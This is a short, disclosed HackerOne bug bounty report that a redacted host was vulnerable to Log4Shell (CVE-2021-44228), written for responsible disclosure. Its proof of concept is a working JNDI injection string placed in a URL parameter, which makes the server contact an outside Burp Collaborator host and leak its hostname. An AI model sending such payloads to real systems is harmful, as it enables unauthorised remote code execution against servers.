LOGJ4 VUlnerability [HtUS]
Critical
Vulnerability Details
**Description:**
Hi team,
log4 shell is recent 0-day exploit it's Java package vulnerable. █████ is vulnerable
**Impact**
RCE
**System Host(s)**
██████
**Affected Product(s) and Version(s)**
**CVE Numbers**
CVE-2021-44228
**Steps to Reproduce**
1. Go to this url => https://█████/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}
2. paste the poc code on parameter
3. Then burp collaborator received reverse ping back
Photos below
**POC CODE**
${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}
**Suggested Mitigation/Remediation Actions**
https://www.lunasec.io/docs/blog/log4j-zero-day/
## Impact
Successful attack leads Arbitary Code Execution on the application
Actions
View on HackerOneReport Stats
- Report ID: 1624137
- State: Closed
- Substate: resolved
- Upvotes: 92